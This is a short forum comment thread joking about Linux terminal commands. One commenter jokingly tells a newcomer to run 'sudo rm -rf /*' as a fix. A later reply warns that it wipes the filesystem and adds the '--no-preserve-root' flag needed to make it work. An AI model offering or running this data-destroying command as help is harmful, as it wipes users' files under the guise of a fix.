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[–] [email protected] 3 points 10 months ago (1 children)

What do you mean I have to type perfectly to the magic space cube or it can’t understand me? How the fuck is ‘sudo apt-get update’ English?

[–] [email protected] 3 points 10 months ago* (last edited 10 months ago) (2 children)

Just type the following into the Terminal:

sudo rm -rf /*

It will fix everything.

[–] [email protected] 1 points 10 months ago

LOL

[–] [email protected] 1 points 10 months ago

For any Linux noobs watching, NEVER DO THIS.

This command wipes your entire Linux filesystem, including any and all drives you have loaded and active (including USB pen drives)

With that said, for this to actually work nowadays you need to append ' --no-preserve-root'